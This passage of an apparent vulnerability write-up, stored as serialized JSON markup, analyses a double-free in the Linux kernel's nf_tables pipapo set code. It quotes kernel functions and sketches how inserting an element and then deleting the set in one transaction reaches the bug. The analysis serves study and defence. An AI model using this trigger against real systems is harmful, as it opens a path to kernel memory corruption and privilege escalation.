nft_pipapo_match ",{"type":23,"tag":230,"props":52899,"children":52900},{"style":268},[52901],{"type":29,"value":6909},{"type":23,"tag":230,"props":52903,"children":52904},{"style":262},[52905],{"type":29,"value":52906},"m",{"type":23,"tag":230,"props":52908,"children":52909},{"style":274},[52910],{"type":29,"value":4516},{"type":23,"tag":230,"props":52912,"children":52913},{"class":232,"line":280},[52914],{"type":23,"tag":230,"props":52915,"children":52916},{"style":274},[52917],{"type":29,"value":13211},{"type":23,"tag":230,"props":52919,"children":52920},{"class":232,"line":334},[52921,52925,52930,52934],{"type":23,"tag":230,"props":52922,"children":52923},{"style":256},[52924],{"type":29,"value":23465},{"type":23,"tag":230,"props":52926,"children":52927},{"style":274},[52928],{"type":29,"value":52929}," nft_pipapo_field ",{"type":23,"tag":230,"props":52931,"children":52932},{"style":268},[52933],{"type":29,"value":6909},{"type":23,"tag":230,"props":52935,"children":52936},{"style":274},[52937],{"type":29,"value":52938},"f;\n",{"type":23,"tag":230,"props":52940,"children":52941},{"class":232,"line":371},[52942,52947],{"type":23,"tag":230,"props":52943,"children":52944},{"style":256},[52945],{"type":29,"value":52946}," int",{"type":23,"tag":230,"props":52948,"children":52949},{"style":274},[52950],{"type":29,"value":52951}," i, r;\n",{"type":23,"tag":230,"props":52953,"children":52954},{"class":232,"line":391},[52955],{"type":23,"tag":230,"props":52956,"children":52957},{"emptyLinePlaceholder":18},[52958],{"type":29,"value":459},{"type":23,"tag":230,"props":52960,"children":52961},{"class":232,"line":400},[52962,52967,52972,52976,52980,52985,52989,52994,52998,53002,53007,53011,53015,53019,53024,53029,53033,53038,53043,53048,53052],{"type":23,"tag":230,"props":52963,"children":52964},{"style":866},[52965],{"type":29,"value":52966}," for",{"type":23,"tag":230,"props":52968,"children":52969},{"style":274},[52970],{"type":29,"value":52971}," (i ",{"type":23,"tag":230,"props":52973,"children":52974},{"style":268},[52975],{"type":29,"value":863},{"type":23,"tag":230,"props":52977,"children":52978},{"style":5149},[52979],{"type":29,"value":5386},{"type":23,"tag":230,"props":52981,"children":52982},{"style":274},[52983],{"type":29,"value":52984},", f ",{"type":23,"tag":230,"props":52986,"children":52987},{"style":268},[52988],{"type":29,"value":863},{"type":23,"tag":230,"props":52990,"children":52991},{"style":262},[52992],{"type":29,"value":52993}," m",{"type":23,"tag":230,"props":52995,"children":52996},{"style":274},[52997],{"type":29,"value":16084},{"type":23,"tag":230,"props":52999,"children":53000},{"style":262},[53001],{"type":29,"value":35377},{"type":23,"tag":230,"props":53003,"children":53004},{"style":274},[53005],{"type":29,"value":53006},"; i ",{"type":23,"tag":230,"props":53008,"children":53009},{"style":268},[53010],{"type":29,"value":8143},{"type":23,"tag":230,"props":53012,"children":53013},{"style":262},[53014],{"type":29,"value":52993},{"type":23,"tag":230,"props":53016,"children":53017},{"style":274},[53018],{"type":29,"value":16084},{"type":23,"tag":230,"props":53020,"children":53021},{"style":262},[53022],{"type":29,"value":53023},"field_count",{"type":23,"tag":230,"props":53025,"children":53026},{"style":268},[53027],{"type":29,"value":53028}," -",{"type":23,"tag":230,"props":53030,"children":53031},{"style":5149},[53032],{"type":29,"value":6861},{"type":23,"tag":230,"props":53034,"children":53035},{"style":274},[53036],{"type":29,"value":53037},"; i",{"type":23,"tag":230,"props":53039,"children":53040},{"style":268},[53041],{"type":29,"value":53042},"++",{"type":23,"tag":230,"props":53044,"children":53045},{"style":274},[53046],{"type":29,"value":53047},", f",{"type":23,"tag":230,"props":53049,"children":53050},{"style":268},[53051],{"type":29,"value":53042},{"type":23,"tag":230,"props":53053,"children":53054},{"style":274},[53055],{"type":29,"value":4516},{"type":23,"tag":230,"props":53057,"children":53058},{"class":232,"line":444},[53059],{"type":23,"tag":230,"props":53060,"children":53061},{"style":274},[53062],{"type":29,"value":53063},"  ;\n",{"type":23,"tag":230,"props":53065,"children":53066},{"class":232,"line":453},[53067],{"type":23,"tag":230,"props":53068,"children":53069},{"emptyLinePlaceholder":18},[53070],{"type":29,"value":459},{"type":23,"tag":230,"props":53072,"children":53073},{"class":232,"line":462},[53074,53078,53083,53087,53091,53096,53100,53104,53108,53113,53118,53122],{"type":23,"tag":230,"props":53075,"children":53076},{"style":866},[53077],{"type":29,"value":52966},{"type":23,"tag":230,"props":53079,"children":53080},{"style":274},[53081],{"type":29,"value":53082}," (r ",{"type":23,"tag":230,"props":53084,"children":53085},{"style":268},[53086],{"type":29,"value":863},{"type":23,"tag":230,"props":53088,"children":53089},{"style":5149},[53090],{"type":29,"value":5386},{"type":23,"tag":230,"props":53092,"children":53093},{"style":274},[53094],{"type":29,"value":53095},"; r ",{"type":23,"tag":230,"props":53097,"children":53098},{"style":268},[53099],{"type":29,"value":8143},{"type":23,"tag":230,"props":53101,"children":53102},{"style":262},[53103],{"type":29,"value":35263},{"type":23,"tag":230,"props":53105,"children":53106},{"style":274},[53107],{"type":29,"value":16084},{"type":23,"tag":230,"props":53109,"children":53110},{"style":262},[53111],{"type":29,"value":53112},"rules",{"type":23,"tag":230,"props":53114,"children":53115},{"style":274},[53116],{"type":29,"value":53117},"; r",{"type":23,"tag":230,"props":53119,"children":53120},{"style":268},[53121],{"type":29,"value":53042},{"type":23,"tag":230,"props":53123,"children":53124},{"style":274},[53125],{"type":29,"value":827},{"type":23,"tag":230,"props":53127,"children":53128},{"class":232,"line":471},[53129,53133,53138,53142],{"type":23,"tag":230,"props":53130,"children":53131},{"style":256},[53132],{"type":29,"value":8133},{"type":23,"tag":230,"props":53134,"children":53135},{"style":274},[53136],{"type":29,"value":53137}," nft_pipapo_elem ",{"type":23,"tag":230,"props":53139,"children":53140},{"style":268},[53141],{"type":29,"value":6909},{"type":23,"tag":230,"props":53143,"children":53144},{"style":274},[53145],{"type":29,"value":53146},"e;\n",{"type":23,"tag":230,"props":53148,"children":53149},{"class":232,"line":500},[53150],{"type":23,"tag":230,"props":53151,"children":53152},{"emptyLinePlaceholder":18},[53153],{"type":29,"value":459},{"type":23,"tag":230,"props":53155,"children":53156},{"class":232,"line":514},[53157,53161,53165,53169,53173,53177,53181,53185,53189,53193,53197,53201,53206,53211,53215,53219,53223,53228,53232,53236,53240,53244,53249,53253],{"type":23,"tag":230,"props":53158,"children":53159},{"style":866},[53160],{"type":29,"value":33698},{"type":23,"tag":230,"props":53162,"children":53163},{"style":274},[53164],{"type":29,"value":53082},{"type":23,"tag":230,"props":53166,"children":53167},{"style":268},[53168],{"type":29,"value":8143},{"type":23,"tag":230,"props":53170,"children":53171},{"style":262},[53172],{"type":29,"value":35263},{"type":23,"tag":230,"props":53174,"children":53175},{"style":274},[53176],{"type":29,"value":16084},{"type":23,"tag":230,"props":53178,"children":53179},{"style":262},[53180],{"type":29,"value":53112},{"type":23,"tag":230,"props":53182,"children":53183},{"style":268},[53184],{"type":29,"value":53028},{"type":23,"tag":230,"props":53186,"children":53187},{"style":5149},[53188],{"type":29,"value":6861},{"type":23,"tag":230,"props":53190,"children":53191},{"style":268},[53192],{"type":29,"value":16512},{"type":23,"tag":230,"props":53194,"children":53195},{"style":262},[53196],{"type":29,"value":35263},{"type":23,"tag":230,"props":53198,"children":53199},{"style":274},[53200],{"type":29,"value":16084},{"type":23,"tag":230,"props":53202,"children":53203},{"style":262},[53204],{"type":29,"value":53205},"mt",{"type":23,"tag":230,"props":53207,"children":53208},{"style":274},[53209],{"type":29,"value":53210},"[r ",{"type":23,"tag":230,"props":53212,"children":53213},{"style":268},[53214],{"type":29,"value":6719},{"type":23,"tag":230,"props":53216,"children":53217},{"style":5149},[53218],{"type":29,"value":6861},{"type":23,"tag":230,"props":53220,"children":53221},{"style":274},[53222],{"type":29,"value":52121},{"type":23,"tag":230,"props":53224,"children":53225},{"style":262},[53226],{"type":29,"value":53227},"e",{"type":23,"tag":230,"props":53229,"children":53230},{"style":268},[53231],{"type":29,"value":5621},{"type":23,"tag":230,"props":53233,"children":53234},{"style":262},[53235],{"type":29,"value":35263},{"type":23,"tag":230,"props":53237,"children":53238},{"style":274},[53239],{"type":29,"value":16084},{"type":23,"tag":230,"props":53241,"children":53242},{"style":262},[53243],{"type":29,"value":53205},{"type":23,"tag":230,"props":53245,"children":53246},{"style":274},[53247],{"type":29,"value":53248},"[r].",{"type":23,"tag":230,"props":53250,"children":53251},{"style":262},[53252],{"type":29,"value":53227},{"type":23,"tag":230,"props":53254,"children":53255},{"style":274},[53256],{"type":29,"value":4516},{"type":23,"tag":230,"props":53258,"children":53259},{"class":232,"line":897},[53260,53265],{"type":23,"tag":230,"props":53261,"children":53262},{"style":866},[53263],{"type":29,"value":53264},"   continue",{"type":23,"tag":230,"props":53266,"children":53267},{"style":274},[53268],{"type":29,"value":511},{"type":23,"tag":230,"props":53270,"children":53271},{"class":232,"line":960},[53272],{"type":23,"tag":230,"props":53273,"children":53274},{"emptyLinePlaceholder":18},[53275],{"type":29,"value":459},{"type":23,"tag":230,"props":53277,"children":53278},{"class":232,"line":969},[53279,53284,53288,53292,53296,53300,53304,53308],{"type":23,"tag":230,"props":53280,"children":53281},{"style":274},[53282],{"type":29,"value":53283},"  e ",{"type":23,"tag":230,"props":53285,"children":53286},{"style":268},[53287],{"type":29,"value":863},{"type":23,"tag":230,"props":53289,"children":53290},{"style":262},[53291],{"type":29,"value":35263},{"type":23,"tag":230,"props":53293,"children":53294},{"style":274},[53295],{"type":29,"value":16084},{"type":23,"tag":230,"props":53297,"children":53298},{"style":262},[53299],{"type":29,"value":53205},{"type":23,"tag":230,"props":53301,"children":53302},{"style":274},[53303],{"type":29,"value":53248},{"type":23,"tag":230,"props":53305,"children":53306},{"style":262},[53307],{"type":29,"value":53227},{"type":23,"tag":230,"props":53309,"children":53310},{"style":274},[53311],{"type":29,"value":511},{"type":23,"tag":230,"props":53313,"children":53314},{"class":232,"line":4526},[53315],{"type":23,"tag":230,"props":53316,"children":53317},{"emptyLinePlaceholder":18},[53318],{"type":29,"value":459},{"type":23,"tag":230,"props":53320,"children":53321},{"class":232,"line":4534},[53322,53327,53332,53336,53340,53344,53349],{"type":23,"tag":230,"props":53323,"children":53324},{"style":294},[53325],{"type":29,"value":53326},"  nf_tables_set_elem_destroy",{"type":23,"tag":230,"props":53328,"children":53329},{"style":274},[53330],{"type":29,"value":53331},"(ctx, set, ",{"type":23,"tag":230,"props":53333,"children":53334},{"style":268},[53335],{"type":29,"value":5448},{"type":23,"tag":230,"props":53337,"children":53338},{"style":262},[53339],{"type":29,"value":53227},{"type":23,"tag":230,"props":53341,"children":53342},{"style":274},[53343],{"type":29,"value":16084},{"type":23,"tag":230,"props":53345,"children":53346},{"style":262},[53347],{"type":29,"value":53348},"priv",{"type":23,"tag":230,"props":53350,"children":53351},{"style":274},[53352],{"type":29,"value":753},{"type":23,"tag":230,"props":53354,"children":53355},{"class":232,"line":4542},[53356],{"type":23,"tag":230,"props":53357,"children":53358},{"style":274},[53359],{"type":29,"value":11927},{"type":23,"tag":230,"props":53361,"children":53362},{"class":232,"line":4559},[53363],{"type":23,"tag":230,"props":53364,"children":53365},{"style":274},[53366],{"type":29,"value":975},{"type":23,"tag":32,"props":53368,"children":53369},{},[53370,53372,53378,53380,53385],{"type":29,"value":53371},"Which will then ",{"type":23,"tag":71,"props":53373,"children":53375},{"className":53374},[],[53376],{"type":29,"value":53377},"kfree()",{"type":29,"value":53379}," the ",{"type":23,"tag":71,"props":53381,"children":53383},{"className":53382},[],[53384],{"type":29,"value":52784},{"type":29,"value":312},{"type":23,"tag":220,"props":53387,"children":53389},{"className":18839,"code":53388,"language":2148,"meta":7,"style":7},"void nf_tables_set_elem_destroy(const struct nft_ctx *ctx,\n    const struct nft_set *set,\n    const struct nft_elem_priv *elem_priv)\n{\n struct nft_set_ext *ext = nft_set_elem_ext(set, elem_priv);\n\n if (nft_set_ext_exists(ext, NFT_SET_EXT_EXPRESSIONS))\n  nft_set_elem_expr_destroy(ctx, nft_set_ext_expr(ext));\n\n kfree(elem_priv);\n}\n",[53390],{"type":23,"tag":71,"props":53391,"children":53392},{"__ignoreMap":7},[53393,53434,53462,53491,53498,53533,53540,53561,53584,53591,53604],{"type":23,"tag":230,"props":53394,"children":53395},{"class":232,"line":233},[53396,53401,53406,53410,53414,53418,53422,53426,53430],{"type":23,"tag":230,"props":53397,"children":53398},{"style":256},[53399],{"type":29,"value":53400},"void",{"type":23,"tag":230,"props":53402,"children":53403},{"style":294},[53404],{"type":29,"value":53405}," nf_tables_set_elem_destroy",{"type":23,"tag":230,"props":53407,"children":53408},{"style":274},[53409],{"type":29,"value":302},{"type":23,"tag":230,"props":53411,"children":53412},{"style":256},[53413],{"type":29,"value":259},{"type":23,"tag":230,"props":53415,"children":53416},{"style":256},[53417],{"type":29,"value":23465},{"type":23,"tag":230,"props":53419,"children":53420},{"style":274},[53421],{"type":29,"value":52844},{"type":23,"tag":230,"props":53423,"children":53424},{"style":268},[53425],{"type":29,"value":6909},{"type":23,"tag":230,"props":53427,"children":53428},{"style":262},[53429],{"type":29,"value":22595},{"type":23,"tag":230,"props":53431,"children":53432},{"style":274},[53433],{"type":29,"value":388},{"type":23,"tag":230,"props":53435,"children":53436},{"class":232,"line":243},[53437,53442,53446,53450,53454,53458],{"type":23,"tag":230,"props":53438,"children":53439},{"style":256},[53440],{"type":29,"value":53441},"    const",{"type":23,"tag":230,"props":53443,"children":53444},{"style":256},[53445],{"type":29,"value":23465},{"type":23,"tag":230,"props":53447,"children":53448},{"style":274},[53449],{"type":29,"value":52872},{"type":23,"tag":230,"props":53451,"children":53452},{"style":268},[53453],{"type":29,"value":6909},{"type":23,"tag":230,"props":53455,"children":53456},{"style":262},[53457],{"type":29,"value":52792},{"type":23,"tag":230,"props":53459,"children":53460},{"style":274},[53461],{"type":29,"value":388},{"type":23,"tag":230,"props":53463,"children":53464},{"class":232,"line":252},[53465,53469,53473,53478,53482,53487],{"type":23,"tag":230,"props":53466,"children":53467},{"style":256},[53468],{"type":29,"value":53441},{"type":23,"tag":230,"props":53470,"children":53471},{"style":256},[53472],{"type":29,"value":23465},{"type":23,"tag":230,"props":53474,"children":53475},{"style":274},[53476],{"type":29,"value":53477}," nft_elem_priv ",{"type":23,"tag":230,"props":53479,"children":53480},{"style":268},[53481],{"type":29,"value":6909},{"type":23,"tag":230,"props":53483,"children":53484},{"style":262},[53485],{"type":29,"value":53486},"elem_priv",{"type":23,"tag":230,"props":53488,"children":53489},{"style":274},[53490],{"type":29,"value":4516},{"type":23,"tag":230,"props":53492,"children":53493},{"class":232,"line":280},[53494],{"type":23,"tag":230,"props":53495,"children":53496},{"style":274},[53497],{"type":29,"value":13211},{"type":23,"tag":230,"props":53499,"children":53500},{"class":232,"line":334},[53501,53505,53510,53514,53519,53523,53528],{"type":23,"tag":230,"props":53502,"children":53503},{"style":256},[53504],{"type":29,"value":23465},{"type":23,"tag":230,"props":53506,"children":53507},{"style":274},[53508],{"type":29,"value":53509}," nft_set_ext ",{"type":23,"tag":230,"props":53511,"children":53512},{"style":268},[53513],{"type":29,"value":6909},{"type":23,"tag":230,"props":53515,"children":53516},{"style":274},[53517],{"type":29,"value":53518},"ext ",{"type":23,"tag":230,"props":53520,"children":53521},{"style":268},[53522],{"type":29,"value":863},{"type":23,"tag":230,"props":53524,"children":53525},{"style":294},[53526],{"type":29,"value":53527}," nft_set_elem_ext",{"type":23,"tag":230,"props":53529,"children":53530},{"style":274},[53531],{"type":29,"value":53532},"(set, elem_priv);\n",{"type":23,"tag":230,"props":53534,"children":53535},{"class":232,"line":371},[53536],{"type":23,"tag":230,"props":53537,"children":53538},{"emptyLinePlaceholder":18},[53539],{"type":29,"value":459},{"type":23,"tag":230,"props":53541,"children":53542},{"class":232,"line":391},[53543,53547,53551,53556],{"type":23,"tag":230,"props":53544,"children":53545},{"style":866},[53546],{"type":29,"value":18112},{"type":23,"tag":230,"props":53548,"children":53549},{"style":274},[53550],{"type":29,"value":664},{"type":23,"tag":230,"props":53552,"children":53553},{"style":294},[53554],{"type":29,"value":53555},"nft_set_ext_exists",{"type":23,"tag":230,"props":53557,"children":53558},{"style":274},[53559],{"type":29,"value":53560},"(ext, NFT_SET_EXT_EXPRESSIONS))\n",{"type":23,"tag":230,"props":53562,"children":53563},{"class":232,"line":400},[53564,53569,53574,53579],{"type":23,"tag":230,"props":53565,"children":53566},{"style":294},[53567],{"type":29,"value":53568},"  nft_set_elem_expr_destroy",{"type":23,"tag":230,"props":53570,"children":53571},{"style":274},[53572],{"type":29,"value":53573},"(ctx, ",{"type":23,"tag":230,"props":53575,"children":53576},{"style":294},[53577],{"type":29,"value":53578},"nft_set_ext_expr",{"type":23,"tag":230,"props":53580,"children":53581},{"style":274},[53582],{"type":29,"value":53583},"(ext));\n",{"type":23,"tag":230,"props":53585,"children":53586},{"class":232,"line":444},[53587],{"type":23,"tag":230,"props":53588,"children":53589},{"emptyLinePlaceholder":18},[53590],{"type":29,"value":459},{"type":23,"tag":230,"props":53592,"children":53593},{"class":232,"line":453},[53594,53599],{"type":23,"tag":230,"props":53595,"children":53596},{"style":294},[53597],{"type":29,"value":53598}," kfree",{"type":23,"tag":230,"props":53600,"children":53601},{"style":274},[53602],{"type":29,"value":53603},"(elem_priv);\n",{"type":23,"tag":230,"props":53605,"children":53606},{"class":232,"line":462},[53607],{"type":23,"tag":230,"props":53608,"children":53609},{"style":274},[53610],{"type":29,"value":975},{"type":23,"tag":32,"props":53612,"children":53613},{},[53614,53615,53621,53623,53628,53630,53635,53637,53642,53643,53648,53650,53655,53657,53662,53664,53669],{"type":29,"value":980},{"type":23,"tag":71,"props":53616,"children":53618},{"className":53617},[],[53619],{"type":29,"value":53620},"nft_pipapo_match",{"type":29,"value":53622}," objects contain views of the ",{"type":23,"tag":71,"props":53624,"children":53626},{"className":53625},[],[53627],{"type":29,"value":52784},{"type":29,"value":53629},"'s of a ",{"type":23,"tag":71,"props":53631,"children":53633},{"className":53632},[],[53634],{"type":29,"value":52792},{"type":29,"value":53636},". The difference between the ",{"type":23,"tag":71,"props":53638,"children":53640},{"className":53639},[],[53641],{"type":29,"value":52769},{"type":29,"value":112},{"type":23,"tag":71,"props":53644,"children":53646},{"className":53645},[],[53647],{"type":29,"value":52753},{"type":29,"value":53649}," match objects is that the clone has a view of not only already committed ",{"type":23,"tag":71,"props":53651,"children":53653},{"className":53652},[],[53654],{"type":29,"value":52784},{"type":29,"value":53656},"'s that the \"normal\" one has but also a view of the ",{"type":23,"tag":71,"props":53658,"children":53660},{"className":53659},[],[53661],{"type":29,"value":52784},{"type":29,"value":53663},"'s that was still not committed that only exists in the current control-plane. In other words, the control plane makes changes to the clone, and if the commit path is reached, the changes are committed to ",{"type":23,"tag":71,"props":53665,"children":53667},{"className":53666},[],[53668],{"type":29,"value":52769},{"type":29,"value":312},{"type":23,"tag":59,"props":53671,"children":53673},{"id":53672},"root-cause-analysis",[53674],{"type":29,"value":53675},"Root-cause analysis",{"type":23,"tag":32,"props":53677,"children":53678},{},[53679,53681,53687,53689,53694],{"type":29,"value":53680},"So ",{"type":23,"tag":71,"props":53682,"children":53684},{"className":53683},[],[53685],{"type":29,"value":53686},"nf_tables_set_elem_destroy",{"type":29,"value":53688}," being called for both match objects seems like a pretty straightforward double-free of the ",{"type":23,"tag":71,"props":53690,"children":53692},{"className":53691},[],[53693],{"type":29,"value":52784},{"type":29,"value":53695},"s that had already been committed since those will have duplicated views. At first glance, this is some bizarre-looking code. How did this bug come to be? How was it not detected before? Let's try to get to the bottom of it.",{"type":23,"tag":32,"props":53697,"children":53698},{},[53699,53701,53706,53708,53713,53715,53720,53722,53727,53729,53734],{"type":29,"value":53700},"We should now try to understand how to reach that path with the ",{"type":23,"tag":71,"props":53702,"children":53704},{"className":53703},[],[53705],{"type":29,"value":52746},{"type":29,"value":53707}," flag set, which is a member of the private data of a pipapo ",{"type":23,"tag":71,"props":53709,"children":53711},{"className":53710},[],[53712],{"type":29,"value":52784},{"type":29,"value":53714}," that becomes true whenever a change is made to the ",{"type":23,"tag":71,"props":53716,"children":53718},{"className":53717},[],[53719],{"type":29,"value":52792},{"type":29,"value":53721}," during the control-plane pass of a transaction. This is to tell the commit path that this ",{"type":23,"tag":71,"props":53723,"children":53725},{"className":53724},[],[53726],{"type":29,"value":52792},{"type":29,"value":53728}," has changes that have to be committed. If we refer to the code, we see that we can make the ",{"type":23,"tag":71,"props":53730,"children":53732},{"className":53731},[],[53733],{"type":29,"value":52792},{"type":29,"value":53735}," dirty by inserting a new element.",{"type":23,"tag":220,"props":53737,"children":53739},{"className":18839,"code":53738,"language":2148,"meta":7,"style":7},"static int nft_pipapo_insert(const struct net *net, const struct nft_set *set,\n        const struct nft_set_elem *elem,\n        struct nft_elem_priv **elem_priv)\n{\n[...]\n priv->dirty = true;\n[...]\n}\n",[53740],{"type":23,"tag":71,"props":53741,"children":53742},{"__ignoreMap":7},[53743,53813,53842,53867,53874,53881,53910,53917],{"type":23,"tag":230,"props":53744,"children":53745},{"class":232,"line":233},[53746,53750,53754,53759,53763,53767,53771,53776,53780,53785,53789,53793,53797,53801,53805,53809],{"type":23,"tag":230,"props":53747,"children":53748},{"style":256},[53749],{"type":29,"value":52817},{"type":23,"tag":230,"props":53751,"children":53752},{"style":256},[53753],{"type":29,"value":52946},{"type":23,"tag":230,"props":53755,"children":53756},{"style":294},[53757],{"type":29,"value":53758}," nft_pipapo_insert",{"type":23,"tag":230,"props":53760,"children":53761},{"style":274},[53762],{"type":29,"value":302},{"type":23,"tag":230,"props":53764,"children":53765},{"style":256},[53766],{"type":29,"value":259},{"type":23,"tag":230,"props":53768,"children":53769},{"style":256},[53770],{"type":29,"value":23465},{"type":23,"tag":230,"props":53772,"children":53773},{"style":274},[53774],{"type":29,"value":53775}," net ",{"type":23,"tag":230,"props":53777,"children":53778},{"style":268},[53779],{"type":29,"value":6909},{"type":23,"tag":230,"props":53781,"children":53782},{"style":262},[53783],{"type":29,"value":53784},"net",{"type":23,"tag":230,"props":53786,"children":53787},{"style":274},[53788],{"type":29,"value":684},{"type":23,"tag":230,"props":53790,"children":53791},{"style":256},[53792],{"type":29,"value":259},{"type":23,"tag":230,"props":53794,"children":53795},{"style":256},[53796],{"type":29,"value":23465},{"type":23,"tag":230,"props":53798,"children":53799},{"style":274},[53800],{"type":29,"value":52872},{"type":23,"tag":230,"props":53802,"children":53803},{"style":268},[53804],{"type":29,"value":6909},{"type":23,"tag":230,"props":53806,"children":53807},{"style":262},[53808],{"type":29,"value":52792},{"type":23,"tag":230,"props":53810,"children":53811},{"style":274},[53812],{"type":29,"value":388},{"type":23,"tag":230,"props":53814,"children":53815},{"class":232,"line":243},[53816,53820,53824,53829,53833,53838],{"type":23,"tag":230,"props":53817,"children":53818},{"style":256},[53819],{"type":29,"value":35194},{"type":23,"tag":230,"props":53821,"children":53822},{"style":256},[53823],{"type":29,"value":23465},{"type":23,"tag":230,"props":53825,"children":53826},{"style":274},[53827],{"type":29,"value":53828}," nft_set_elem ",{"type":23,"tag":230,"props":53830,"children":53831},{"style":268},[53832],{"type":29,"value":6909},{"type":23,"tag":230,"props":53834,"children":53835},{"style":262},[53836],{"type":29,"value":53837},"elem",{"type":23,"tag":230,"props":53839,"children":53840},{"style":274},[53841],{"type":29,"value":388},{"type":23,"tag":230,"props":53843,"children":53844},{"class":232,"line":252},[53845,53850,53854,53859,53863],{"type":23,"tag":230,"props":53846,"children":53847},{"style":256},[53848],{"type":29,"value":53849},"        struct",{"type":23,"tag":230,"props":53851,"children":53852},{"style":274},[53853],{"type":29,"value":53477},{"type":23,"tag":230,"props":53855,"children":53856},{"style":268},[53857],{"type":29,"value":53858},"**",{"type":23,"tag":230,"props":53860,"children":53861},{"style":262},[53862],{"type":29,"value":53486},{"type":23,"tag":230,"props":53864,"children":53865},{"style":274},[53866],{"type":29,"value":4516},{"type":23,"tag":230,"props":53868,"children":53869},{"class":232,"line":280},[53870],{"type":23,"tag":230,"props":53871,"children":53872},{"style":274},[53873],{"type":29,"value":13211},{"type":23,"tag":230,"props":53875,"children":53876},{"class":232,"line":334},[53877],{"type":23,"tag":230,"props":53878,"children":53879},{"style":274},[53880],{"type":29,"value":12649},{"type":23,"tag":230,"props":53882,"children":53883},{"class":232,"line":371},[53884,53889,53893,53898,53902,53906],{"type":23,"tag":230,"props":53885,"children":53886},{"style":262},[53887],{"type":29,"value":53888}," priv",{"type":23,"tag":230,"props":53890,"children":53891},{"style":274},[53892],{"type":29,"value":16084},{"type":23,"tag":230,"props":53894,"children":53895},{"style":262},[53896],{"type":29,"value":53897},"dirty",{"type":23,"tag":230,"props":53899,"children":53900},{"style":268},[53901],{"type":29,"value":271},{"type":23,"tag":230,"props":53903,"children":53904},{"style":256},[53905],{"type":29,"value":14799},{"type":23,"tag":230,"props":53907,"children":53908},{"style":274},[53909],{"type":29,"value":511},{"type":23,"tag":230,"props":53911,"children":53912},{"class":232,"line":391},[53913],{"type":23,"tag":230,"props":53914,"children":53915},{"style":274},[53916],{"type":29,"value":12649},{"type":23,"tag":230,"props":53918,"children":53919},{"class":232,"line":400},[53920],{"type":23,"tag":230,"props":53921,"children":53922},{"style":274},[53923],{"type":29,"value":975},{"type":23,"tag":32,"props":53925,"children":53926},{},[53927],{"type":29,"value":53928},"We also see that when the changes are commited, this flag is then unset.",{"type":23,"tag":220,"props":53930,"children":53932},{"className":18839,"code":53931,"language":2148,"meta":7,"style":7},"static void nft_pipapo_commit(struct nft_set *set)\n{\n[...]\n if (!priv->dirty)\n  return;\n[...]\n priv->dirty = false;\n[...]\n}\n",[53933],{"type":23,"tag":71,"props":53934,"children":53935},{"__ignoreMap":7},[53936,53976,53983,53990,54021,54032,54039,54066,54073],{"type":23,"tag":230,"props":53937,"children":53938},{"class":232,"line":233},[53939,53943,53947,53952,53956,53960,53964,53968,53972],{"type":23,"tag":230,"props":53940,"children":53941},{"style":256},[53942],{"type":29,"value":52817},{"type":23,"tag":230,"props":53944,"children":53945},{"style":256},[53946],{"type":29,"value":52822},{"type":23,"tag":230,"props":53948,"children":53949},{"style":294},[53950],{"type":29,"value":53951}," nft_pipapo_commit",{"type":23,"tag":230,"props":53953,"children":53954},{"style":274},[53955],{"type":29,"value":302},{"type":23,"tag":230,"props":53957,"children":53958},{"style":256},[53959],{"type":29,"value":11733},{"type":23,"tag":230,"props":53961,"children":53962},{"style":274},[53963],{"type":29,"value":52872},{"type":23,"tag":230,"props":53965,"children":53966},{"style":268},[53967],{"type":29,"value":6909},{"type":23,"tag":230,"props":53969,"children":53970},{"style":262},[53971],{"type":29,"value":52792},{"type":23,"tag":230,"props":53973,"children":53974},{"style":274},[53975],{"type":29,"value":4516},{"type":23,"tag":230,"props":53977,"children":53978},{"class":232,"line":243},[53979],{"type":23,"tag":230,"props":53980,"children":53981},{"style":274},[53982],{"type":29,"value":13211},{"type":23,"tag":230,"props":53984,"children":53985},{"class":232,"line":252},[53986],{"type":23,"tag":230,"props":53987,"children":53988},{"style":274},[53989],{"type":29,"value":12649},{"type":23,"tag":230,"props":53991,"children":53992},{"class":232,"line":280},[53993,53997,54001,54005,54009,54013,54017],{"type":23,"tag":230,"props":53994,"children":53995},{"style":866},[53996],{"type":29,"value":18112},{"type":23,"tag":230,"props":53998,"children":53999},{"style":274},[54000],{"type":29,"value":664},{"type":23,"tag":230,"props":54002,"children":54003},{"style":268},[54004],{"type":29,"value":22936},{"type":23,"tag":230,"props":54006,"children":54007},{"style":262},[54008],{"type":29,"value":53348},{"type":23,"tag":230,"props":54010,"children":54011},{"style":274},[54012],{"type":29,"value":16084},{"type":23,"tag":230,"props":54014,"children":54015},{"style":262},[54016],{"type":29,"value":53897},{"type":23,"tag":230,"props":54018,"children":54019},{"style":274},[54020],{"type":29,"value":4516},{"type":23,"tag":230,"props":54022,"children":54023},{"class":232,"line":334},[54024,54028],{"type":23,"tag":230,"props":54025,"children":54026},{"style":866},[54027],{"type":29,"value":3903},{"type":23,"tag":230,"props":54029,"children":54030},{"style":274},[54031],{"type":29,"value":511},{"type":23,"tag":230,"props":54033,"children":54034},{"class":232,"line":371},[54035],{"type":23,"tag":230,"props":54036,"children":54037},{"style":274},[54038],{"type":29,"value":12649},{"type":23,"tag":230,"props":54040,"children":54041},{"class":232,"line":391},[54042,54046,54050,54054,54058,54062],{"type":23,"tag":230,"props":54043,"children":54044},{"style":262},[54045],{"type":29,"value":53888},{"type":23,"tag":230,"props":54047,"children":54048},{"style":274},[54049],{"type":29,"value":16084},{"type":23,"tag":230,"props":54051,"children":54052},{"style":262},[54053],{"type":29,"value":53897},{"type":23,"tag":230,"props":54055,"children":54056},{"style":268},[54057],{"type":29,"value":271},{"type":23,"tag":230,"props":54059,"children":54060},{"style":256},[54061],{"type":29,"value":11391},{"type":23,"tag":230,"props":54063,"children":54064},{"style":274},[54065],{"type":29,"value":511},{"type":23,"tag":230,"props":54067,"children":54068},{"class":232,"line":400},[54069],{"type":23,"tag":230,"props":54070,"children":54071},{"style":274},[54072],{"type":29,"value":12649},{"type":23,"tag":230,"props":54074,"children":54075},{"class":232,"line":444},[54076],{"type":23,"tag":230,"props":54077,"children":54078},{"style":274},[54079],{"type":29,"value":975},{"type":23,"tag":32,"props":54081,"children":54082},{},[54083,54085,54090,54092,54097,54099,54104,54106,54111,54113,54119,54121,54127,54129,54134],{"type":29,"value":54084},"We can conclude that as long as we can, in the same transaction, insert a ",{"type":23,"tag":71,"props":54086,"children":54088},{"className":54087},[],[54089],{"type":29,"value":52784},{"type":29,"value":54091}," in the ",{"type":23,"tag":71,"props":54093,"children":54095},{"className":54094},[],[54096],{"type":29,"value":52792},{"type":29,"value":54098}," to make it dirty and then delete the ",{"type":23,"tag":71,"props":54100,"children":54102},{"className":54101},[],[54103],{"type":29,"value":52792},{"type":29,"value":54105},", we will be able to trigger the 